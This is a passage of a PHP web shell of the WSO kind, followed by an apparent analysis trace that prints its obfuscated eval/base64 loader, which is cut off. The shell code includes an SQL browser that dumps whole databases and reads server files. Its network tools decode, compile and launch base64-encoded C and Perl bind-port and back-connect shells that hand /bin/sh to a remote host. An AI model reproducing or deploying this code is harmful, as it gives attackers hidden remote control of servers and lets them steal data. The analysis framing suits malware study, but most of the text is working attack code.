                            while ($i = $this->fetch()) {
                                $r[] = $i['file'];
                            }
                            $this->query('drop table hard2');
                            return array('file' => implode("\n", $r));
                    }
                    return false;
                }
                function dump($table, $fp = false)
                {
                    switch ($this->type) {
                        case 'mysql':
                            $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                            $create = mysql_fetch_array($res);
                            $sql = $create[1] . ";\n";
                            if ($fp) {
                                fwrite($fp, $sql);
                            } else {
                                echo $sql;
                            }
                            $this->query('SELECT * FROM `' . $table . '`');
                            $i = 0;
                            $head = true;
                            while ($▟ = $this->fetch()) {
                                $sql = '';
                                if ($i % 1000 == 0) {
                                    $head = true;
                                    $sql = ";\n\n";
                                }
                                $columns = array();
                                foreach ($▟ as $k => $v) {
                                    if ($v === null) {
                                        $▟[$k] = "NULL";
                                    } elseif (is_int($v)) {
                                        $▟[$k] = $v;
                                    } else {
                                        $▟[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                    }
                                    $columns[] = "`" . $k . "`";
                                }
                                if ($head) {
                                    $sql .= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $▟) . ')';
                                    $head = false;
                                } else {
                                    $sql .= "\n\t,(" . implode(", ", $▟) . ')';
                                }
                                if ($fp) {
                                    fwrite($fp, $sql);
                                } else {
                                    echo $sql;
                                }
                                $i++;
                            }
                            if (!$head) {
                                if ($fp) {
                                    fwrite($fp, ";\n\n");
                                } else {
                                    echo ";\n\n";
                                }
                            }
                            break;
                        case 'pgsql':
                            $this->query('SELECT * FROM ' . $table);
                            while ($▟ = $this->fetch()) {
                                $columns = array();
                                foreach ($▟ as $k => $v) {
                                    $▟[$k] = "'" . addslashes($v) . "'";
                                    $columns[] = $k;
                                }
                                $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $▟) . ');' . "\n";
                                if ($fp) {
                                    fwrite($fp, $sql);
                                } else {
                                    echo $sql;
                                }
                            }
                            break;
                    }
                    return false;
                }
            }
            $db = new DbClass($_POST['type']);
            if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') {
                $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
                $db->selectdb($_POST['sql_base']);
                switch ($_POST['charset']) {
                    case "Windows-1251":
                        $db->setCharset('cp1251');
                        break;
                    case "UTF-8":
                        $db->setCharset('utf8');
                        break;
                    case "KOI8-R":
                        $db->setCharset('koi8r');
                        break;
                    case "KOI8-U":
                        $db->setCharset('koi8u');
                        break;
                    case "cp866":
                        $db->setCharset('cp866');
                        break;
                }
                if (empty($_POST['file'])) {
                    ob_start("ob_gzhandler", 4096);
                    header("Content-Disposition: attachment; filename=dump.sql");
                    header("Content-Type: text/plain");
                    foreach ($_POST['tbl'] as $v) {
                        $db->dump($v);
                    }
                    exit;
                } elseif ($fp = @fopen($_POST['file'], 'w')) {
                    foreach ($_POST['tbl'] as $v) {
                        $db->dump($v, $fp);
                    }
                    fclose($fp);
                    unset($_POST['p2']);
                } else {
                    die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
                }
            }
            hardHeader();
            echo "\n<h1>Sql browser</h1><div class=content>\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n<td><label><select name='type'><option value='mysql' ";
            if (@$_POST['type'] == 'mysql') {
                echo "selected";
            }
            echo ">MySql</option><option value='pgsql' ";
            if (@$_POST['type'] == 'pgsql') {
                echo "selected";
            }
            echo ">PostgreSql</option></select></label></td>\n<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>\n<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>\n<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\" required></td><td>";
            $tmp = "<input type=text name=sql_base value=''>";
            if (isset($_POST['sql_host'])) {
                if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                    switch ($_POST['charset']) {
                        case "Windows-1251":
                            $db->setCharset('cp1251');
                            break;
                        case "UTF-8":
                            $db->setCharset('utf8');
                            break;
                        case "KOI8-R":
                            $db->setCharset('koi8r');
                            break;
                        case "KOI8-U":
                            $db->setCharset('koi8u');
                            break;
                        case "cp866":
                            $db->setCharset('cp866');
                            break;
                    }
                    $db->listDbs();
                    echo "<label><select name=sql_base><option value=''></option>";
                    while ($▟ = $db->fetch()) {
                        list($key, $value) = each($▟);
                        echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                    }
                    echo "</select></label>";
                } else {
                    echo $tmp;
                }
            } else {
                echo $tmp;
            }
            echo "</td>\n\t\t\t\t<td><input type=submit value='submit' onclick='fs(d.sf);'></td>\n                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n            s_db='" . @addslashes($_POST['sql_base']) . "';\n            function fs(f) {\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n                    if(f.p1) f.p1.value='';\n                    if(f.p2) f.p2.value='';\n                    if(f.p3) f.p3.value='';\n                }\n            }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = 'select';\n\t\t\t\td.sf.p2.value = t;\n                if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\n\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\n\t\t\t}\n\t\t</script>";
            if (isset($db) && $db->link) {
                echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
                if (!empty($_POST['sql_base'])) {
                    $db->selectdb($_POST['sql_base']);
                    echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                    $tbls_res = $db->listTables();
                    while ($▟ = $db->fetch($tbls_res)) {
                        list($key, $value) = each($▟);
                        if (!empty($_POST['sql_count'])) {
                            $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                        }
                        $value = htmlspecialchars($value);
                        echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
                    }
                    echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                    if (@$_POST['p1'] == 'select') {
                        $_POST['p1'] = 'query';
                        $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                        $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                        $num = $db->fetch();
                        $pages = ceil($num['n'] / 30);
                        echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . (int) $_POST['p3'] . ">";
                        echo " of {$pages}";
                        if ($_POST['p3'] > 1) {
                            echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                        }
                        if ($_POST['p3'] < $pages) {
                            echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                        }
                        $_POST['p3']--;
                        if ($_POST['type'] == 'pgsql') {
                            $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
                        } else {
                            $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
                        }
                        echo "<br><br>";
                    }
                    if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
                        $db->query(@$_POST['p2']);
                        if ($db->res !== false) {
                            $title = false;
                            echo "<table width=100% cellspacing=1 cellpadding=2 class=main>";
                            $line = 1;
                            while ($▟ = $db->fetch()) {
                                if (!$title) {
                                    echo "<tr>";
                                    foreach ($▟ as $key => $value) {
                                        echo '<th>' . $key . '</th>';
                                    }
                                    reset($▟);
                                    $title = true;
                                    echo "</tr><tr>";
                                    $line = 2;
                                }
                                echo '<tr class="l' . $line . '">';
                                $line = $line == 1 ? 2 : 1;
                                foreach ($▟ as $key => $value) {
                                    if ($value == null) {
                                        echo "<td><i>null</i></td>";
                                    } else {
                                        echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                                    }
                                }
                                echo "</tr>";
                            }
                            echo "</table>";
                        } else {
                            echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                        }
                    }
                    echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                    if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
                        echo htmlspecialchars($_POST['p2']);
                    }
                    echo "</textarea><br/><input type=submit value='Execute'>";
                    echo "</td></tr>";
                }
                echo "</table></form><br/>";
                if ($_POST['type'] == 'mysql') {
                    $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                    if ($db->fetch()) {
                        echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
                    }
                }
                if (@$_POST['p1'] == 'loadfile') {
                    $file = $db->loadFile($_POST['p2']);
                    echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
                }
            } else {
                echo htmlspecialchars($db->error());
            }
            echo "</div>";
            hardFooter();
        }
        function actionNetwork()
        {
            hardHeader();
            $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
            $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
            $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
            $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
            echo "<h1>Network tools</h1><div class=content>\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>\n\t<span>Bind port to /bin/sh</span><br/>\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>\n\t</form>\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\n\t<span>Back-connect to</span><br/>\n\tServer: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>\n\t</form><br>";
            if (isset($_POST['p1'])) {
                function cf($f, $t)
                {
                    $w = @fopen($f, "w") or @function_exists('file_put_contents');
                    if ($w) {
                        @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                        @fclose($w);
                    }
                }
                if ($_POST['p1'] == 'bpc') {
                    cf("/tmp/bp.c", $bind_port_c);
                    $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
                    @unlink("/tmp/bp.c");
                    $▖ .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp") . "</pre>";
                }
                if ($_POST['p1'] == 'bpp') {
                    cf("/tmp/bp.pl", $bind_port_p);
                    $▖ = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp.pl") . "</pre>";
                }
                if ($_POST['p1'] == 'bcc') {
                    cf("/tmp/bc.c", $back_connect_c);
                    $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
                    @unlink("/tmp/bc.c");
                    $▖ .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc") . "</pre>";
                }
                if ($_POST['p1'] == 'bcp') {
                    cf("/tmp/bc.pl", $back_connect_p);
                    $▖ = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.pl") . "</pre>";
                }
            }
            echo "</div>";
            hardFooter();
        }
        if (empty($_POST['a'])) {
            if (isset($▚) && function_exists('action' . $▚)) {
                $_POST['a'] = $▚;
            } else {
                $_POST['a'] = 'FilesMan';
            }
        }
        if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
            call_user_func('action' . $_POST['a']);
        }
    };
};
Execution traces
Generated HTML code
<html style="height: 100%;"><head><meta name="viewport" content="width=device-width, minimum-scale=0.1"></head><body style="margin: 0px; background: #0e0e0e; height: 100%"><img style="display: block;-webkit-user-select: none;margin: auto;background-color: hsl(0, 0%, 90%);transition: background-color 300ms;" src="http://localhost/b.jpg"></body></html>
Original PHP code
<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}    
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}    
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};    
        eval($O00O0O("$O0O000="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